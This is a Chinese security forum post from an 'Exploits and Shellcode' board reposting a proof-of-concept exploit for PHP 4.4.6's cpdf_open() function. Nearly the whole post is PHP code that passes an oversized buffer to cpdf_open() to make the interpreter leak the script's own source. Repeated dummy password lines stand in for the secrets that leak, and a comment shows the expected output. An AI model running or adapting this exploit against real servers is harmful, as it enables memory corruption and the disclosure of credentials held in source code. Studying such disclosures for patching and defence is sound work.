PHP 4.4.6 cpdf_open() Local Source Code Discslosure PoC

pub!1c

魔

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员

帖子: 3926
精华: 128
积分: 209876
阅读权限: 200
性别: 男
在线时间: 1107 小时
注册时间: 2007-10-23
最后登录: 2008-8-27

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-3-10 00:46 只看该作者

PHP 4.4.6 cpdf_open() Local Source Code Discslosure PoC

复制内容到剪贴板

代码:

<?php

  /*

  PHP 4.4.6 cpdf_open() source code disclosure poc

  by rgod

  site: [url]http://retrogod.altervista.org[/url]



  to be launched form the cli



  this will show as output something like this:



  ClibPDF: Cannot open [A * 11111]$my_password_is="suntzu";[newline]

  $my_password_is="suntzu";[etc...] for PDF output

  X-Powered-By: PHP/4.4.6

  Content-type: text/html



  I don&#39;t see some echo, and you? :)

  */



  if (!extension_loaded("pdf")){

    die("you need the pdf extension loaded.");

  }

  $____buff=str_repeat(&#39;A&#39;,1111);



  $p=cpdf_open(1,$____buff);



  //some code with some information

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";

  $my_password_is="suntzu";



?>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » PHP 4.4.6 cpdf_open() Local Source Code Discslosure PoC